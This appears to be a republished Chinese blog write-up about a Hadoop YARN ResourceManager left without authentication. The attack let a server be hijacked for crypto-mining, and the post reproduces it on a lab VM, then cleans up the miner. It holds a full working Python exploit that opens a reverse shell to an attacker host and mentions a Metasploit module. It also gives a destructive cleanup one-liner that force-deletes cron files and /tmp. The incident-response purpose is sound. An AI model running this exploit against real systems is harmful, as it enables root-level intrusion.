前言

记录这个文章差不多有一年多了，因参与人工智能大数据比赛，在赛前我在公网服务器上部署了一套大数据平台，供练习使用，赛后就回滚镜像。为方便使用，使得不受端口访问困扰和鉴权等影响，遂关闭部分服务的鉴权及安全组端口皆放通，SELinux 关闭，平台部署及运行的用户也为 root ，未做最小化权限处理。

所部署的大数据环境所使用的的 Hadoop 版本为 2.6.0，版本比较老，部署过程中为方便使用就未做授权访问且配置了 Hadoop Web 管理⻚面，最终导致了服务器集群被 getshell 致使挖矿。

服务器被 getshell 挖矿后，个人存留了一份木马脚本并后期将其复现了一遍，遂记录此篇文章。

漏洞复现

此处已再次在虚拟机内部署好大数据平台，故省略其部署环节，若想复现，可使用 Docker 启动 vulhub 环境内的 hadoop/unauthorized-yarn 镜像服务复现。

启动 Hadoop 服务：

此时打开 Hadoop YARN ResourceManager WebUI 页面。未做授权直接访问成功：

Exp 测试

下面开始使用相关 Exp 进行模拟攻击：

import requests
target = 'http://192.168.17.181:8088/'
lhost = '192.168.17.110'
url = target + 'ws/v1/cluster/apps/new-application' 
resp = requests.post(url) 
app_id = resp.json()['application-id'] 
url = target + 'ws/v1/cluster/apps' 
data = { 
    'application-id': app_id, 
    'application-name': 'get-shell','am-container-spec': { 
    'commands': { 
    'command': '/bin/bash -i >& /dev/tcp/%s/60901 0>&1' % lhost,
    }, 
    }, 'application-type': 'YARN', 
    } 
requests.post(url, json=data)

此时在另一台机器上使用 nc 监听上述的 60901 端口，然后使用该 Exp 去创建 Application 并调用 Submit Application API 提交。

在 Exp 执行之后，可知成功创建了一个 Application，名称为 get-shell ，如下图：

而该 Application 里面的命令也成功执行并获得反弹回来的 Shell，由于 Hadoop 是以 root 用户启动运行，故反弹回来的 Shell 也是有 root 权限，如图：

metasploit

下面是使用 metasploit 对该漏洞其进行利用，在 search hadoop 后 metasploit 含有该漏洞的未鉴权访问执行漏洞的收录，故可直接使用：

设置好相关参数后 run 即可执行：

成功执行并获得 Session ：

复现木马脚本及清理

将木马脚本执行，执行后使用 htop 命令查看相关进程信息，可见 CPU 负载全满，近乎全被木马脚本内的挖矿相关进程 dbused 占用：

清理过程

1、首先根据 top、ps 等命令锁定脚本 pid：

ps -auxw --sort=%cpu

上述命令是进程按 CPU 占用升序排列，如图：

可知占用 CPU 最多的为 dbused 进程，其 pid 为 2026 。

2、使用 kill -9 命令将相关进程终止掉：

因为 SIGKILL（即序号9）可无条件的杀死相应进程，也为 kill 强杀，正常情况下终止进程该命令勿乱用。

kill -9 2026

此时发现 CPU 等占用也恢复了正常状态：

但是，过了莫约 1 分钟，发现服务又启动了起来！于是猜测可能有守护进程或存在定时任务。

3、于是查看 crontab 定时任务列表，发现存在定时任务，并开始着手清理定时任务：

在默认情况下 Linux 的 crontab 默认文件是在 /var/spool/cron/root 内，查看其 root 文件：

由于没有其他的多余定时任务，故可以直接清空定时任务列表：

crontab -r

提示 Operation not permitted ，即没有权限（当前为 root 用户），于是猜测是使用 chattr 命令给文件上锁了，故使用 lsattr 命令查看一下该文件：

lsattr

果然，上述 i 的意思为禁止文件的删除与修改（含root用户）； a 则是只允许文件写入内容而不允许删除，两者结合限制了对定时任务文件的任何修改操作。

下面解除文件锁并清理定时任务：

chattr -ai root
crontab -r

定时任务列表已清空，再次看看还有哪些定时任务存在。该目录下还有 crontables ，里面也有个定时任务，使用上述方法将其清空：

于是基于上述操作将 cron 相关列表全部清理并再次 kill 掉了进程。

但是！操作完后发现挖矿进程又启动了！

遂再次查找有无可疑守护进程，排查了一遍未找到相应可疑进程。于是再次深入查找一遍定时任务。在 Linux 中，定时任务执行配置在 /etc 目录下也存在，遂去查看一下相关配置有无被修改。

查找到 /etc/cron.d 目录，目录内有如下文件：

发现该目录下木马文件配置了 root、apache、nginx 等不同的用户去执行，由于这些定时任务都是挖矿脚本创建的，故可直接将这块文件全部删除。

操作时发现这些文件有的上锁了：

取消文件锁并清除：

chattr -ai /etc/cron.d/* && ls /etc/cron.d/ | xargs rm -rf

随后又在 /etc/cron.daily/ 等文件夹内发现执行木马脚本代码，利用上述方法将其清理。

最后查看定时任务，皆已被清理：

但过一会儿发现又有启动，此时在追查一下，发现了 /var/tmp 目录及 /tmp 目录下有残存的挖矿木马文件，然后将其删除并在按上述命令执行一遍，观察，最后挖矿木马未运行了。

由于新开的机器测试，机器里无重要文件数据，否则，下方命令不要一键执行！最后整个流程清理挖矿木马的命令汇集如下（命令懒得精简了）：

ps -auxw --sort=%cpu | awk 'END {print $2}' | xargs kill -9; chattr -ai /var/spool/cron/root && crontab -r; chattr -ai /var/spool/cron/crontabs/root && >/var/spool/cron/crontabs/root; chattr -ai /etc/cron.d/* && ls /etc/cron.d/ | xargs rm -rf; chattr -ai /etc/cron.*/* && ls /etc/cron.*/* | xargs rm -rf; rm -rf /tmp/* ; rm -rf /var/tmp/*

上述命令请结合木马脚本执行逻辑来使用，使用前确保相关定时任务目录及 /tmp 、/var/tmp 目录下无重要文件或数据！

至此，挖矿木马清理完成，机器 CPU 负载也处于了正常状态。为确保该木马文件可能的造成其他影响，遂再次检查了一遍启动服务、环境变量、用户与用户组、SELinux、防火墙（可疑链接及 iptables 无关链表）、authorized_keys、动态链接库等配置及/bin、/sbin、/usr/local/bin 下的可疑执行命令，并进行清理残留。

最后，清理过程中最好停止定时任务清理，停止定时任务命令如下，防止清理过程中存在进程相互执行导致前一步文件清理删除了后面又生成，同时再将木马病毒的远程域名在 /etc/hosts 里解析到 127.0.0.1 ，禁止远程下载挖矿脚本文件：

systemctl stop crond

由于是第一次遇到木马挖矿，那时候对 Linux 的学习也才开始，排查手法较为拙劣，很多强大的命令组合还不太会用；但是，作为那时候写的清理记录，算是自己的一种学习吧。

作者：Yang2635来源：https://www.isisy.com/1425.html如有侵权，请联系删除

推荐阅读

实战 | 记一次渗透拿下某儿童色情网站的经过

实战 | 某某街一处XSS的绕过思路

实战 | 记一次企业钓鱼演练

2022年，从现在开始学安全还不迟！

干货 | 2022年超全的安全知识库

实战 | 实战一次完整的BC网站渗透测试

星球部分精华内容推荐

其他更多精彩内容，欢迎加入我们的星球